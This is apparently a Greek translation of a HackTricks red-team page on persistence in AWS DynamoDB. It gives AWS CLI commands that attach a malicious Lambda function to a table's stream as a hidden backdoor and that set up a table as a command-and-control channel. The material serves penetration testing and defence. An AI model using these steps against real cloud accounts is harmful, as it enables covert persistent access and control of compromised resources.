AWS - DynamoDB Persistence

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

DynamoDB

Για περισσότερες πληροφορίες, αποκτήστε πρόσβαση:

AWS - DynamoDB Enum

Εκτελώντας Παρασκηνιακή Προσβολή με Συναγερμούς DynamoDB και Lambda

Χρησιμοποιώντας τους συναγερμούς DynamoDB, ένας επιτιθέμενος μπορεί να δημιουργήσει έναν κρυφό πίσω πόρτα συσχετίζοντας μια κακόβουλη συνάρτηση Lambda με έναν πίνακα. Η συνάρτηση Lambda μπορεί να ενεργοποιηθεί όταν προστίθεται, τροποποιείται ή διαγράφεται ένα στοιχείο, επιτρέποντας στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα μέσα στον λογαριασμό AWS.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Για να διατηρήσει την επιμονή, ο επιτιθέμενος μπορεί να δημιουργήσει ή να τροποποιήσει αντικείμενα στον πίνακα DynamoDB, ο οποίος θα ενεργοποιήσει την κακόβουλη συνάρτηση Lambda. Αυτό επιτρέπει στον επιτιθέμενο να εκτελέσει κώδικα εντός του λογαριασμού AWS χωρίς άμεση αλληλεπίδραση με τη συνάρτηση Lambda.

DynamoDB ως κανάλι C2

Ένας επιτιθέμενος μπορεί να χρησιμοποιήσει έναν πίνακα DynamoDB ως ένα κανάλι εντολών και ελέγχου (C2) δημιουργώντας αντικείμενα που περιέχουν εντολές και χρησιμοποιώντας παραβιασμένες περιπτώσεις ή συναρτήσεις Lambda για να ανακτήσει και να εκτελέσει αυτές τις εντολές.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

Οι παραβιασμένες περιπτώσεις ή οι συναρτήσεις Lambda μπορούν να ελέγχουν περιοδικά τον πίνακα C2 για νέες εντολές, να τις εκτελέσουν και προαιρετικά να αναφέρουν τα αποτελέσματα πίσω στον πίνακα. Αυτό επιτρέπει στον επιτιθέμενο να διατηρεί την μόνιμη παρουσία και έλεγχο πάνω στους παραβιασμένους πόρους.

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated